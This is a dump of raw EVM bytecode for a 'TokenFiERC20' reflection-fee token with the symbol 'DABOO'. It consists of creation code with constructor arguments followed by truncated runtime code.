0e51b815260206004820152602160248201527f546f6b656e466945524332303a206d617820737570706c7920657863656564656044820152601960fa1b60648201526084016106d9565b601654600160a01b900460ff1615610ac85761098e8383611e7f565b61098e8383611f67565b601f54600090831115610b275760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016106d9565b81610b4a576000610b3c848560006001611839565b509294506106aa9350505050565b6000610b5a848560006001611839565b509194506106aa9350505050565b60008051602061332c833981519152610b8081611d85565b610b8b601783612014565b506040516001600160a01b038316907f1a8d12c6c584c93207352b4fb4b4a1d352b1d54b5879f90a7a31ca8a70bcfed290600090a25050565b601654600090600160a01b900460ff1615610be2576106aa82612029565b6001600160a01b0382166000908152602081905260409020546106aa565b60008051602061332c833981519152610c1881611d85565b600f5415610de35761271082604001511115610c9a5760405162461bcd60e51b815260206004820152603b60248201527f546f6b656e466945524332303a206c69717569646974794261736973506f696e60448201527a07473206d757374206265206c657373207468616e2031302c30303602c1b60648201526084016106d9565b61271082606001511115610d165760405162461bcd60e51b815260206004820152603d60248201527f546f6b656e466945524332303a207072696365496d706163744261736973506f60448201527f696e7473206d757374206265206c657373207468616e2031302c30303000000060648201526084016106d9565b60208201516001600160a01b0316610d7c5760405162461bcd60e51b8152602060048201526024808201527f546f6b656e466945524332303a20726f757465722063616e6e6f7420626520656044820152636d70747960e01b60648201526084016106d9565b81516001600160a01b0316610de35760405162461bcd60e51b815260206004820152602760248201527f546f6b656e466945524332303a2070616972546f6b656e2063616e6e6f7420626044820152666520656d70747960c81b60648201526084016106d9565b8151601180546001600160a01b039283166001600160a01b03199182168117909255602085015160128054919094169116811790925560408085015160138190556060860151601481905591519293927f0984d5f2e8e58132b97a7c66d9c5a2df53eb8f8a7b78b241b1db4fdc7a503a5d92610e66928252602082015260400190565b60405180910390a35050565b6000610e7d81611d85565b601654600160a01b900460ff1615610ef157604082015151610eec5760405162461bcd60e51b8152602060048201526034602482015260008051602061338c833981519152604482015273616765206d757374206265206e6f6e2d7a65726f60601b60648201526084016106d9565b610f4b565b60408201515115610f4b5760405162461bcd60e51b8152602060048201526030602482015260008051602061338c83398151915260448201526f616765206d757374206265207a65726f60801b60648201526084016106d9565b6060820151516040830151516020840151518451516000939291610f6e91613119565b610f789190613119565b610f829190613119565b9050612710811115610fec5760405162461bcd60e51b815260206004820152602d60248201527f546f6b656e466945524332303a20666565732073756d206d757374206265206c60448201526c657373207468616e203130302560981b60648201526084016106d9565b505080518051600955602090810151600a805491151560ff19928316179055818301518051600b55820151600c805491151591831691909117905560408301518051600d55820151600e80549115159183169190911790556060909201518051600f5501516010805491151591909216179055565b60008051602061332c83398151915261107981611d85565b611084601783612077565b506040516001600160a01b038316907ffaaeeffad2a7c67db50de0c0861de690ae617c059e77b13b96ee1bfea1463e8790600090a25050565b6001600160a01b0381166000908152601d602052604081205460ff16806106aa57506001600160a01b038216301492915050565b60009182526005602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600480546107dc9061312c565b600033816111398286611397565b9050838110156111995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106d9565b6108cd828686840361188c565b60003361086d818585611a40565b60008051602061332c8339815191526111cc81611d85565b6001600160a01b0382166112305760405162461bcd60e51b815260206004820152602560248201527f546f6b656e466945524332303a20616464726573732063616e6e6f7420626520604482015264656d70747960d81b60648201526084016106d9565b61123b601983612014565b506040516001600160a01b038316907f1caec4f1ef0e654f520edf2d95d3d035ea6382500dbdd179d37017442e53528490600090a25050565b600061127f81611d85565b6016546112a49060008051602061332c833981519152906001600160a01b0316611e18565b601680546001600160a01b0319166001600160a01b0384161790556112d760008051602061332c83398151915283611d92565b6040516001600160a01b038316907fdba835207229fba1418844b6c6462472e5f6db972a6e9a8d0b7ebf6c7326da4d90600090a25050565b60008051602061332c83398151915261132781611d85565b611332601983612077565b506040516001600160a01b038316907f3186e21fde26faa448666270e7a0d53c887d8f040950e4330a2b622e34ed6f4490600090a25050565b6113786002600019613166565b81565b611384826108d8565b61138d81611d85565b61098e8383611e18565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b601654600160a01b900460ff166113eb5760405162461bcd60e51b81526004016106d9906130ac565b6113f66000336110f1565b8061140b57506016546001600160a01b031633145b6114275760405162461bcd60e51b81526004016106d990613188565b611430816110bd565b1561147b5760405162461bcd60e51b815260206004820152601b60248201527a1058d8dbdd5b9d081a5cc8185b1c9958591e48195e18db1d591959602a1b60448201526064016106d9565b6001600160a01b0381166000908152601b6020526040902054156114d5576001600160a01b0381166000908152601b60205260409020546114bb906108ed565b6001600160a01b0382166000908152601c60205260409020555b6001600160a01b03166000818152601d60205260408120805460ff19166001908117909155601e805491820181559091527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b0319169091179055565b601654600160a01b900460ff166115645760405162461bcd60e51b81526004016106d9906130ac565b61156f6000336110f1565b8061158457506016546001600160a01b031633145b6115a05760405162461bcd60e51b81526004016106d990613188565b6115a9816110bd565b6115f35760405162461bcd60e51b815260206004820152601b60248201527a1058d8dbdd5b9d081a5cc8185b1c9958591e481a5b98db1d591959602a1b60448201526064016106d9565b60005b601e54811015610a0d57816001600160a01b0316601e828154811061161d5761161d6131bd565b6000918252602090912001546001600160a01b0316036117a3576000611641611d62565b6001600160a01b0384166000908152601b6020908152604090912054905491925061166b91613106565b60209081556001600160a01b0384166000908152601c90915260409020546116949082906131d3565b6001600160a01b0384166000908152601b60208181526040808420948555601c82528320929092558152905490546116cc9190613119565b60209081556001600160a01b0384166000908152601d90915260409020805460ff19169055601e805461170190600190613106565b81548110611711576117116131bd565b600091825260209091200154601e80546001600160a01b03909216918490811061173d5761173d6131bd565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550601e80548061177c5761177c6131ea565b600082815260209020810160001990810180546001600160a01b0319169055019055505050565b6001016115f6565b600880546117b89061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546117e49061312c565b80156118315780601f1061180657610100808354040283529160200191611831565b820191906000526020600020905b81548152906001019060200180831161181457829003601f168201915b505050505081565b60008060008060008060006118508b8b8b8b61208c565b91509150600061185e611d62565b905060008060006118708f86866120fe565b919c509a50985094965092945050505050945094509450945094565b6001600160a01b0383166118ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d9565b6001600160a01b03821661194f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600061096b836001600160a01b03841661213a565b60006119d28484611397565b90506000198114611a3a5781811015611a2d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106d9565b611a3a848484840361188c565b50505050565b6000611a4c8484612152565b90506000611a5a8585612170565b600954909150839015801590611a7a5750600a5460ff161580611a7a5750825b8015611a84575081155b15611b265760095460009061271090611a9d90846131d3565b611aa79190613166565b600654909150611ac59088906001600160a01b03168385600061218e565b611acf8186613106565b6040516a7472616e7366657246656560a81b8152909550600b0160405190819003812060065483835290916001600160a01b03918216918a169060008051602061334c8339815191529060200160405180910390a4505b600b5415801590611b415750600c5460ff161580611b415750825b8015611b4b575081155b15611bd957600b5460009061271090611b6490846131d3565b611b6e9190613166565b9050611b808761dead8385600061218e565b611b8a8186613106565b604051666275726e46656560c81b81529095506007016040519081900381208282529061dead906001600160a01b038a169060008051602061334c8339815191529060200160405180910390a4505b600f5415801590611bf4575060105460ff161580611bf45750825b8015611bfe575081155b15611d4c57600f5460009061271090611c1790846131d3565b611c219190613166565b601554909150611c3f9088906001600160a01b03168385600061218e565b611c4a6019886119b1565b158015611c6157506012546001600160a01b031615155b15611cec5760155460065460405163f7fd85c160e01b81526001600160a01b03918216600482015260115482166024820152601254821660448201526013546064820152601454608482015291169063f7fd85c19060a401600060405180830381600087803b158015611cd357600080fd5b505af1158015611ce7573d6000803e3d6000fd5b505050505b611cf68186613106565b604051696275796261636b46656560b01b8152909550600a0160405190819003812060155483835290916001600160a01b03918216918a169060008051602061334c8339815191529060200160405180910390a4505b611d5a86868684600161218e565b505050505050565b6000806000611d6f6121c4565b9092509050611d7e8183613166565b9250505090565b611d8f813361233f565b50565b611d9c82826110f1565b610a0d5760008281526005602090815260408083206001600160a01b03851684529091529020805460ff19166001179055611dd43390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b611e2282826110f1565b15610a0d5760008281526005602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000611e89611d62565b611e9390836131d3565b601f54909150611ea4908390613119565b601f55602054611eb5908290613119565b602055611ec1836110bd565b15611f04576001600160a01b0383166000908152601c6020526040902054611eea908390613119565b6001600160a01b0384166000908152601c60205260409020555b6001600160a01b0383166000908152601b6020526040902054611f28908290613119565b6001600160a01b0384166000818152601b602052604080822093909355915190919060008051602061336c833981519152906119a49086815260200190565b6001600160a01b038216611fbd5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016106d9565b8060026000828254611fcf9190613119565b90915550506001600160a01b0382166000818152602081815260408083208054860190555184815260008051602061336c833981519152910160405180910390a35050565b600061096b836001600160a01b038416612398565b6000612034826110bd565b1561205557506001600160a01b03166000908152601c602052604090205490565b6001600160a01b0382166000908152601b60205260409020546106aa906108ed565b600061096b836001600160a01b0384166123e2565b600e546000908190819060ff1615806120a25750845b90508015806120af575083155b156120c15786600092509250506120f5565b600d54600090612710906120d590896131d3565b6120df9190613166565b905060006120ed828a613106565b945090925050505b94509492505050565b600080808061210d85886131d3565b9050600061211b86886131d3565b905060006121298284613106565b929992985090965090945050505050565b60009081526001919091016020526040902054151590565b600061215f6019846119b1565b8061096b575061096b6019836119b1565b600061217d6017846119b1565b8061096b575061096b6017836119b1565b601654600160a01b900460ff16156121b2576121ad85858585856124d5565b6121bd565b6121bd8585856127cf565b5050505050565b602054601f546000918291825b601e5481101561230d5782601b6000601e84815481106121f3576121f36131bd565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061225e575081601c6000601e8481548110612237576122376131bd565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612275575050602054601f549094909350915050565b601b6000601e838154811061228c5761228c6131bd565b60009182526020808320909101546001600160a01b031683528201929092526040019020546122bb9084613106565b9250601c6000601e83815481106122d4576122d46131bd565b60009182526020808320909101546001600160a01b031683528201929092526040019020546123039083613106565b91506001016121d1565b50601f5460205461231e9190613166565b821015612336575050602054601f5490939092509050565b90939092509050565b61234982826110f1565b610a0d57612356816128e7565b6123618360206128f9565b604051602001612372929190613200565b60408051601f198184030181529082905262461bcd60e51b82526106d991600401612d80565b60006123a4838361213a565b6123da575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106aa565b5060006106aa565b600081815260018301602052604081205480156124cb576000612406600183613106565b855490915060009061241a90600190613106565b905081811461247f57600086600001828154811061243a5761243a6131bd565b906000526020600020015490508087600001848154811061245d5761245d6131bd565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080612490576124906131ea565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506106aa565b60009150506106aa565b6001600160a01b0385166124fb5760405162461bcd60e51b81526004016106d99061326f565b6001600160a01b0384166125215760405162461bcd60e51b81526004016106d9906132b4565b600083116125835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d9565b600061258f8686612152565b90506000601660009054906101000a90046001600160a01b03166001600160a01b031663e75d75d56040518163ffffffff1660e01b81526004016020604051808303816000875af11580156125e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061260c91906132f7565b9050806001600160a01b0316876001600160a01b0316148061263f5750806001600160a01b0316866001600160a01b0316145b1561264957600092505b600080600080600061265d8a8a898b611839565b945094509450945094506126708c6110bd565b801561268257506126808b6110bd565b155b1561269b576126968c8c8c8589898e612a94565b612726565b6126a48c6110bd565b1580156126b557506126b58b6110bd565b156126c9576126968c8c8c8589898e612b90565b6126d28c6110bd565b1580156126e557506126e38b6110bd565b155b156126f9576126968c8c8c8589898e612c7b565b6127028c6110bd565b801561271257506127128b6110bd565b15612726576127268c8c8c8589898e612c9f565b8a6001600160a01b03168c6001600160a01b031660008051602061336c8339815191528460405161275991815260200190565b60405180910390a387156127c1576127718382612cf3565b6040516c7265666c656374696f6e46656560981b8152600d01604051908190038120828252906000906001600160a01b038f169060008051602061334c8339815191529060200160405180910390a45b505050505050505050505050565b6001600160a01b0383166127f55760405162461bcd60e51b81526004016106d99061326f565b6001600160a01b03821661281b5760405162461bcd60e51b81526004016106d9906132b4565b6001600160a01b038316600090815260208190526040902054818110156128935760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106d9565b6001600160a01b038481166000818152602081815260408083208787039055938716808352918490208054870190559251858152909260008051602061336c833981519152910160405180910390a3611a3a565b60606106aa6001600160a01b03831660145b606060006129088360026131d3565b612913906002613119565b6001600160401b0381111561292a5761292a612ec3565b6040519080825280601f01601f191660200182016040528015612954576020820181803683370190505b509050600360fc1b8160008151811061296f5761296f6131bd565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061299e5761299e6131bd565b60200101906001600160f81b031916908160001a90535060006129c28460026131d3565b6129cd906001613119565b90505b6001811115612a45576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612a0157612a016131bd565b1a60f81b828281518110612a1757612a176131bd565b60200101906001600160f81b031916908160001a90535060049490941c93612a3e81613314565b90506129d0565b50831561096b5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016106d9565b6001600160a01b0387166000908152601c6020526040902054612ab8908690613106565b6001600160a01b0388166000908152601c6020908152604080832093909355601b90522054612ae8908490613106565b6001600160a01b0388166000908152601b60205260409020558015612b49576001600160a01b0386166000908152601b6020526040902054612b2b908390613119565b6001600160a01b0387166000908152601b6020526040902055612b87565b6001600160a01b0386166000908152601b6020526040902054612b6d908490613119565b6001600160a01b0387166000908152601b60205260409020555b50505050505050565b6001600160a01b0387166000908152601b6020526040902054612bb4908490613106565b6001600160a01b0388166000908152601b60205260409020558015612c27576001600160a01b0386166000908152601c6020526040902054612bf7908590613119565b6001600160a01b0387166000908152601c6020908152604080832093909355601b90522054612b2b908390613119565b6001600160a01b0386166000908152601c6020526040902054612c4b908690613119565b6001600160a01b0387166000908152601c6020908152604080832093909355601b90522054612b6d908490613119565b6001600160a01b0387166000908152601b6020526040902054612ae8908490613106565b6001600160a01b0387166000908152601c6020526040902054612cc3908690613106565b6001600160a01b0388166000908152601c6020908152604080832093909355601b90522054612bb4908490613106565b602054612d01908390613106565b602055602154612d12908290613119565b6021555050565b600060208284031215612d2b57600080fd5b81356001600160e01b03198116811461096b57600080fd5b600060208284031215612d5557600080fd5b5035919050565b60005b83811015612d77578181015183820152602001612d5f565b50506000910152565b6020815260008251806020840152612d9f816040850160208701612d5c565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611d8f57600080fd5b60008060408385031215612ddb57600080fd5b8235612de681612db3565b946020939093013593505050565b600060208284031215612e0657600080fd5b813561096b81612db3565b600080600060608486031215612e2657600080fd5b8335612e3181612db3565b92506020840135612e4181612db3565b929592945050506040919091013590565b60008060408385031215612e6557600080fd5b823591506020830135612e7781612db3565b809150509250929050565b80358015158114612e9257600080fd5b919050565b60008060408385031215612eaa57600080fd5b82359150612eba60208401612e82565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b604051608081016001600160401b0381118282101715612f0957634e487b7160e01b600052604160045260246000fd5b60405290565b600060808284031215612f2157600080fd5b612f29612ed9565b8235612f3481612db3565b81526020830135612f4481612db3565b6020820152604083810135908201526060928301359281019290925250919050565b600060408284031215612f7857600080fd5b604080519081016001600160401b0381118282101715612fa857634e487b7160e01b600052604160045260246000fd5b60405282358152905080612fbe60208401612e82565b60208201525092915050565b60006101008284031215612fdd57600080fd5b612fe5612ed9565b612fef8484612f66565b8152612ffe8460408501612f66565b60208201526130108460808501612f66565b60408201526130228460c08501612f66565b60608201529392505050565b805182526020908101511515910152565b610100810161304e828761302e565b61305b604083018661302e565b613068608083018561302e565b61307560c083018461302e565b95945050505050565b6000806040838503121561309157600080fd5b823561309c81612db3565b91506020830135612e7781612db3565b60208082526024908201527f546f6b656e466945524332303a207265666c656374696f6e206e6f7420656e61604082015263189b195960e21b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b818103818111156106aa576106aa6130f0565b808201808211156106aa576106aa6130f0565b600181811c9082168061314057607f821691505b60208210810361316057634e487b7160e01b600052602260045260246000fd5b50919050565b60008261318357634e487b7160e01b600052601260045260246000fd5b500490565b6020808252601b908201527a2a37b5b2b72334a2a92199181d1036bab9ba1031329030b236b4b760291b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b80820281158282048414176106aa576106aa6130f0565b634e487b7160e01b600052603160045260246000fd5b76020b1b1b2b9b9a1b7b73a3937b61d1030b1b1b7bab73a1604d1b815260008351613232816017850160208801612d5c565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613263816028840160208801612d5c565b01602801949350505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60006020828403121561330957600080fd5b815161096b81612db3565b600081613323576133236130f0565b50600019019056fe6c0757dc3e6b28b2580c03fd9e96c274acf4f99d91fbec9b418fa1d70604ff1c2022773e2291f2fc9298b5ad7d60fae5174151fe00b975c5bdbbe737ba1bfc2fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef546f6b656e466945524332303a207265666c656374696f6e2070657263656e74a164736f6c6343000817000addf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000028000000000000000000000000000000000000000000000000000000000000002c00000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000001090ea8dd15c79784374000000000000000000000000000000000000000000001090ea8dd15c797843740000000000000000000000000000000949a308d72149cd015b76090680313853be2666e000000000000000000000000949a308d72149cd015b76090680313853be2666e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000868d9e0277b3ab812f4643d390fe9a29f83968fd00000000000000000000000000000000000000000000000000000000000001f40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c1dca1b12e6b251f2d9a686d12c7188e3a641d35000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054441424f4f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054441424f4f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000048697066733a2f2f6261667962656963636c6271676578366b726b66777772646932626470326a6e6e61333376627279736b677773787471646d726372356a35656a712f302e706e67000000000000000000000000000000000000000000000000
|
608060405234801561001057600080fd5b50600436106102305760003560e01c806301ffc9a714610235578063053ab1821461025d57806305db2f411461027257806306fdde0314610295578063095ea7b3146102aa57806311c565df146102bd57806313114a9d146102e857806318160ddd146102f057806318f60b69146102f8578063228497201461030b57806322aafef21461033857806323b872dd1461034b578063248a9ca31461035e5780632d838119146103715780632f2ff15d14610384578063313ce5671461039757806336568abe146103b657806339509351146103c957806340a8d39f146103dc57806340c10f19146103e55780634549b039146103f857806358dc10f21461040b5780636078c0f91461041e57806361d027b3146104315780636fda79ce1461044457806370a08231146104915780637543a3aa146104a4578063795c7ebe146104b75780637b1c359c146104ca5780638b4dd060146104dd57806391d14854146104f057806395d89b4114610503578063997d0feb1461050b5780639af1d35a1461051f578063a217fddf146105a4578063a457c2d7146105ac578063a9059cbb146105bf578063b6044b68146105d2578063bc02a108146105e5578063c2510346146105f8578063d49d51811461060b578063d547741f14610613578063d5abeb0114610626578063dd62ed3e1461062f578063f2cc0c1814610642578063f84354f114610655578063fb7f21eb14610668578063fccc281314610670575b600080fd5b610248610243366004612d19565b610679565b60405190151581526020015b60405180910390f35b61027061026b366004612d43565b6106b0565b005b61028760008051602061332c83398151915281565b604051908152602001610254565b61029d6107cd565b6040516102549190612d80565b6102486102b8366004612dc8565b61085f565b6015546102d0906001600160a01b031681565b6040516001600160a01b039091168152602001610254565b602154610287565b610287610877565b610248610306366004612df4565b61089a565b601f5460205460215461031d92919083565b60408051938452602084019290925290820152606001610254565b610248610346366004612df4565b6108a7565b610248610359366004612e11565b6108b4565b61028761036c366004612d43565b6108d8565b61028761037f366004612d43565b6108ed565b610270610392366004612e52565b610972565b601654600160a81b900460ff1660405160ff9091168152602001610254565b6102706103c4366004612e52565b610993565b6102486103d7366004612dc8565b610a11565b61028761271081565b6102706103f3366004612dc8565b610a33565b610287610406366004612e97565b610ad2565b6016546102d0906001600160a01b031681565b61027061042c366004612df4565b610b68565b6006546102d0906001600160a01b031681565b601154601254601354601454610466936001600160a01b039081169316919084565b604080516001600160a01b039586168152949093166020850152918301526060820152608001610254565b61028761049f366004612df4565b610bc4565b6102706104b2366004612f0f565b610c00565b6102706104c5366004612fca565b610e72565b6102706104d8366004612df4565b611061565b6102486104eb366004612df4565b6110bd565b6102486104fe366004612e52565b6110f1565b61029d61111c565b60165461024890600160a01b900460ff1681565b6040805180820182526009548152600a5460ff908116151560208084019190915283518085018552600b548152600c54831615158183015284518086018652600d548152600e5484161515818401528551808701909652600f5486526010549093161515918501919091526105949390919084565b604051610254949392919061303f565b610287600081565b6102486105ba366004612dc8565b61112b565b6102486105cd366004612dc8565b6111a6565b6102706105e0366004612df4565b6111b4565b6102706105f3366004612df4565b611274565b610270610606366004612df4565b61130f565b61028761136b565b610270610621366004612e52565b61137b565b61028760075481565b61028761063d36600461307e565b611397565b610270610650366004612df4565b6113c2565b610270610663366004612df4565b61153b565b61029d6117ab565b6102d061dead81565b60006001600160e01b03198216637965db0b60e01b14806106aa57506301ffc9a760e01b6001600160e01b03198316145b92915050565b601654600160a01b900460ff166106e25760405162461bcd60e51b81526004016106d9906130ac565b60405180910390fd5b336106ec816110bd565b1561074e5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084016106d9565b600061075e838460006001611839565b5050506001600160a01b0384166000908152601b602052604090205491925061078991839150613106565b6001600160a01b0383166000908152601b6020908152604090912091909155546107b4908290613106565b6020556021546107c5908490613119565b602155505050565b6060600380546107dc9061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546108089061312c565b80156108555780601f1061082a57610100808354040283529160200191610855565b820191906000526020600020905b81548152906001019060200180831161083857829003601f168201915b5050505050905090565b60003361086d81858561188c565b5060019392505050565b601654600090600160a01b900460ff16156108935750601f5490565b5060025490565b60006106aa6019836119b1565b60006106aa6017836119b1565b6000336108c28582856119c6565b6108cd858585611a40565b506001949350505050565b60009081526005602052604090206001015490565b6020546000908211156109555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d9565b600061095f611d62565b905061096b8184613166565b9392505050565b61097b826108d8565b61098481611d85565b61098e8383611d92565b505050565b6001600160a01b0381163314610a035760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016106d9565b610a0d8282611e18565b5050565b60003361086d818585610a248383611397565b610a2e9190613119565b61188c565b6000610a3e81611d85565b60075482610a4a610877565b610a549190613119565b1115610aac5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e466945524332303a206d617820737570706c7920657863656564656044820152601960fa1b60648201526084016106d9565b601654600160a01b900460ff1615610ac85761098e8383611e7f565b61098e8383611f67565b601f54600090831115610b275760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016106d9565b81610b4a576000610b3c848560006001611839565b509294506106aa9350505050565b6000610b5a848560006001611839565b509194506106aa9350505050565b60008051602061332c833981519152610b8081611d85565b610b8b601783612014565b506040516001600160a01b038316907f1a8d12c6c584c93207352b4fb4b4a1d352b1d54b5879f90a7a31ca8a70bcfed290600090a25050565b601654600090600160a01b900460ff1615610be2576106aa82612029565b6001600160a01b0382166000908152602081905260409020546106aa565b60008051602061332c833981519152610c1881611d85565b600f5415610de35761271082604001511115610c9a5760405162461bcd60e51b815260206004820152603b60248201527f546f6b656e466945524332303a206c69717569646974794261736973506f696e60448201527a07473206d757374206265206c657373207468616e2031302c30303602c1b60648201526084016106d9565b61271082606001511115610d165760405162461bcd60e51b815260206004820152603d60248201527f546f6b656e466945524332303a207072696365496d706163744261736973506f60448201527f696e7473206d757374206265206c657373207468616e2031302c30303000000060648201526084016106d9565b60208201516001600160a01b0316610d7c5760405162461bcd60e51b8152602060048201526024808201527f546f6b656e466945524332303a20726f757465722063616e6e6f7420626520656044820152636d70747960e01b60648201526084016106d9565b81516001600160a01b0316610de35760405162461bcd60e51b815260206004820152602760248201527f546f6b656e466945524332303a2070616972546f6b656e2063616e6e6f7420626044820152666520656d70747960c81b60648201526084016106d9565b8151601180546001600160a01b039283166001600160a01b03199182168117909255602085015160128054919094169116811790925560408085015160138190556060860151601481905591519293927f0984d5f2e8e58132b97a7c66d9c5a2df53eb8f8a7b78b241b1db4fdc7a503a5d92610e66928252602082015260400190565b60405180910390a35050565b6000610e7d81611d85565b601654600160a01b900460ff1615610ef157604082015151610eec5760405162461bcd60e51b8152602060048201526034602482015260008051602061338c833981519152604482015273616765206d757374206265206e6f6e2d7a65726f60601b60648201526084016106d9565b610f4b565b60408201515115610f4b5760405162461bcd60e51b8152602060048201526030602482015260008051602061338c83398151915260448201526f616765206d757374206265207a65726f60801b60648201526084016106d9565b6060820151516040830151516020840151518451516000939291610f6e91613119565b610f789190613119565b610f829190613119565b9050612710811115610fec5760405162461bcd60e51b815260206004820152602d60248201527f546f6b656e466945524332303a20666565732073756d206d757374206265206c60448201526c657373207468616e203130302560981b60648201526084016106d9565b505080518051600955602090810151600a805491151560ff19928316179055818301518051600b55820151600c805491151591831691909117905560408301518051600d55820151600e80549115159183169190911790556060909201518051600f5501516010805491151591909216179055565b60008051602061332c83398151915261107981611d85565b611084601783612077565b506040516001600160a01b038316907ffaaeeffad2a7c67db50de0c0861de690ae617c059e77b13b96ee1bfea1463e8790600090a25050565b6001600160a01b0381166000908152601d602052604081205460ff16806106aa57506001600160a01b038216301492915050565b60009182526005602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600480546107dc9061312c565b600033816111398286611397565b9050838110156111995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106d9565b6108cd828686840361188c565b60003361086d818585611a40565b60008051602061332c8339815191526111cc81611d85565b6001600160a01b0382166112305760405162461bcd60e51b815260206004820152602560248201527f546f6b656e466945524332303a20616464726573732063616e6e6f7420626520604482015264656d70747960d81b60648201526084016106d9565b61123b601983612014565b506040516001600160a01b038316907f1caec4f1ef0e654f520edf2d95d3d035ea6382500dbdd179d37017442e53528490600090a25050565b600061127f81611d85565b6016546112a49060008051602061332c833981519152906001600160a01b0316611e18565b601680546001600160a01b0319166001600160a01b0384161790556112d760008051602061332c83398151915283611d92565b6040516001600160a01b038316907fdba835207229fba1418844b6c6462472e5f6db972a6e9a8d0b7ebf6c7326da4d90600090a25050565b60008051602061332c83398151915261132781611d85565b611332601983612077565b506040516001600160a01b038316907f3186e21fde26faa448666270e7a0d53c887d8f040950e4330a2b622e34ed6f4490600090a25050565b6113786002600019613166565b81565b611384826108d8565b61138d81611d85565b61098e8383611e18565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b601654600160a01b900460ff166113eb5760405162461bcd60e51b81526004016106d9906130ac565b6113f66000336110f1565b8061140b57506016546001600160a01b031633145b6114275760405162461bcd60e51b81526004016106d990613188565b611430816110bd565b1561147b5760405162461bcd60e51b815260206004820152601b60248201527a1058d8dbdd5b9d081a5cc8185b1c9958591e48195e18db1d591959602a1b60448201526064016106d9565b6001600160a01b0381166000908152601b6020526040902054156114d5576001600160a01b0381166000908152601b60205260409020546114bb906108ed565b6001600160a01b0382166000908152601c60205260409020555b6001600160a01b03166000818152601d60205260408120805460ff19166001908117909155601e805491820181559091527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b0319169091179055565b601654600160a01b900460ff166115645760405162461bcd60e51b81526004016106d9906130ac565b61156f6000336110f1565b8061158457506016546001600160a01b031633145b6115a05760405162461bcd60e51b81526004016106d990613188565b6115a9816110bd565b6115f35760405162461bcd60e51b815260206004820152601b60248201527a1058d